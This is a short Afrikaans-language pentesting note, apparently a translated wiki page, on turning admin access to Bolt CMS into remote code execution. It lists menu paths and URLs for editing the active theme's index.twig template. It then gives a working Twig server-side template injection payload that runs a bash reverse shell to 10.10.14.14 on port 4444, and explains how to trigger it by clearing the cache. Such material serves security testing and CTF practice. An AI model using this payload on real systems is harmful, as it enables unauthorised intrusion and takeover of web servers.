Bolt CMS
RCE
Na die aanmelding as admin (gaan na /bot om die aanmeldingsvenster te bereik), kan jy RCE kry in Bolt CMS:
Kies
Konfigurasie
->Konfigurasie sien
->Hoofkonfigurasie
of gaan na die URL-pad/bolt/file-edit/config?file=/bolt/config.yaml
Kontroleer die waarde van tema
Kies
Lêerbestuur
->Sien & wysig templaat
Kies die tema basis wat in die vorige stap gevind is (
base-2021
in hierdie geval) en kiesindex.twig
In my geval is dit in die URL-pad /bolt/file-edit/themes?file=/base-2021/index.twig
Stel jou lading in hierdie lêer via templaatinspuiting (Twig), soos:
{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
En stoor veranderinge
Maak die kasgeheue skoon in
Instandhouding
->Maak die kasgeheue skoon
Besoek weer die bladsy as 'n gewone gebruiker, en die lading behoort uitgevoer te word
Last updated